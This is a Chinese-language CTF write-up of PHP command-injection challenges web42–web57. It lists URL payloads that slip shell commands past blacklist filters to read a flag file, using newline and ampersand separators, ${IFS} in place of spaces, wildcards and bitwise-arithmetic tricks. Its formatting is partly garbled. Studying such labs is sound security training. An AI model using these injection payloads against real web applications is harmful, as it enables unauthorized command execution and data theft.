2021/7/8

命令执行

(上头)

web42

image-20210708085022554

【给翻译翻译什么叫黑洞】就是不会保存

1:> 代表重定向到哪里,例如:echo “123” > /home/123.txt
2:/dev/null 代表空设备文件
3:2> 表示stderr标准错误
4:& 表示等同于的意思,2>&1,表示2的输出重定向等同于1
5:1 表示stdout标准输出,系统默认值是1,所以”>/dev/null”等同于 “1>/dev/null”
因此,>/dev/null 2>&1 也可以写成“1> /dev/null 2> &1”

那么本文标题的语句执行过程为:
1>/dev/null :首先表示标准输出重定向到空设备文件,也就是不输出任何信息到终端,也就是不显示任何信息。
2>&1 : 接着,标准错误输出重定向到标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件。

image-20210708085120511

可以双写绕过。eg.url/?c=ls;ls //第一个ls不执行 第二个执行

无过滤 直接刚

  • ```
    /?c=tac flag.php;ls //第二个命令被写入黑洞 第一个命令正常输出

    1
    2
    3

    - hint标答

    /?c=tac flag.php%0a

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11



    ##### web43

    ![image-20210708092318402](实训7-8/image-20210708092318402.png)

    过滤分号

    - &&代替 ; (要用url编码)

    /?c=tac flag.php%26%26ls

    1
    2
    3

    - ||代替;

    /?c=tac%09flag.php||

    1
    2
    3

    - 常规

    /?c=nl flag.php%0a –> 查看源代码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
      
    - **nl** (Number of Lines) 将指定的文件添加行号标注后写到标准输出。如果不指定文件或指定文件为"-" ,程序将从标准输入读取数据
    - tac | cat也可以



    ##### web44

    ![image-20210708094227801](实训7-8/image-20210708094227801.png)

    - ```
    /?c=tac fla*.php%0a
  • ```
    /?c=tac fla*.php%26%26ls

    1
    2
    3
    4
    5
    6
    7
    8
    9



    ##### web45

    ![image-20210708095807187](实训7-8/image-20210708095807187.png)

    - 空格被屏蔽了 用制表符tab(%09)或者¥${IFS}代替

    /?c=tac%09fla?.php%26%26ls

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64

    - hint标答

    ````
    /?c=echo$IFS`tac$IFS*`%0A
    ````

    - 不能用fla?.php绕过flag过滤(?

    haoxiaoxiyinweifangfataiduowobuhuiguinalehehe



    ### 命令分隔符5种姿势

    先贴上 能用再说

    - `%0a`符号
    - 换行符
    - `%0d`符号
    - 回车符
    - ; 符号
    - 在 shell 中,担任”连续指令”功能的符号就是”分号”
    - `&`符号
    - ![image-20210708103219419](实训7-8/image-20210708103219419.png)



    ##### web46

    ![image-20210708103203395](实训7-8/image-20210708103203395.png)

    屏蔽数字不影响(目前



    ##### web47

    ![image-20210708112407043](实训7-8/image-20210708112407043.png)



    ##### web48

    ![image-20210708112658975](实训7-8/image-20210708112658975.png)



    ##### web49

    ![image-20210708112839811](实训7-8/image-20210708112839811.png)

    (以上都可以用45方法)



    ##### web50

    ![image-20210708115646917](实训7-8/image-20210708115646917.png)



    - ```
    /?c=nl<>fla''g.php||ls
  • 或者

    1
    /?c=tac<>fla\g.php||

    把过滤姿势混搭了一下

web51

image-20210708115601500

  • 不支持通配 用’’分隔

    1
    /?c=nl<fla''g.php||
web52

image-20210708144821016

(同上)

web53

image-20210708120353551

没黑洞了

  • ```
    /?c=ta\c${IFS}fla\g.php
    1
    2
    3
    4
    5
    6
    7



    ##### web54

    代码如下

    if(isset($_GET[‘c’])){
    $c=$_GET[‘c’];
    if(!preg_match(“/;|.*c.*a.t.|.*f.*l.*a.g.| |[0-9]|*|.*m.*o.*r.e.|.*w.*g.*e.t.|.*l.*e.*s.s.|.*h.*e.*a.d.|.*s.*o.*r.t.|.*t.*a.*i.l.|.*s.*e.d.|.*c.*u.t.|.*t.*a.c.|.*a.*w.k.|.*s.*t.*r.*i.*n.*g.s.|.*o.d.|.*c.*u.*r.l.|.*n.l.|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i”, $c)){
    system($c);
    }
    }else{
    highlight_file(FILE);
    }
    1
    2
    3
    4
    5

    截图太长了没法玩

    - 替换思想 先后执行三次

    url/?c=ls //查看flag文件名 显示flag.php index.php
    url/?c=mv${IFS}fla?.php${IFS}z.txt
    url/?c=ls //再次访问目录
    url/z.txt
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13

    ![第三步得到这个](实训7-8/image-20210708153312887.png)



    ##### web55 XX

    ![image-20210708153458428](实训7-8/image-20210708153458428.png)

    无字母 无.(shell)

    - ```
    url/?c=/???/????64 ????.???
    • 意思是 url/?c=/bin/base64 flag.php
    • base64转码得到flag
  • ```
    url/?c=/???/???/????2 ????.???
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
      
    - 意思是 url/?c=/usr/bin/bzip2 flag.php
    - url/flag.php.bz2
    - <em>bzip2是linux下面的压缩文件的命令</em>



    ##### web56 XXXX

    https://blog.csdn.net/qq_46091464/article/details/108513145



    ##### web57

    ![image-20210708173459962](实训7-8/image-20210708173459962.png)

    https://www.wlhhlc.top/posts/14827/#web57

    - ```
    url/?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1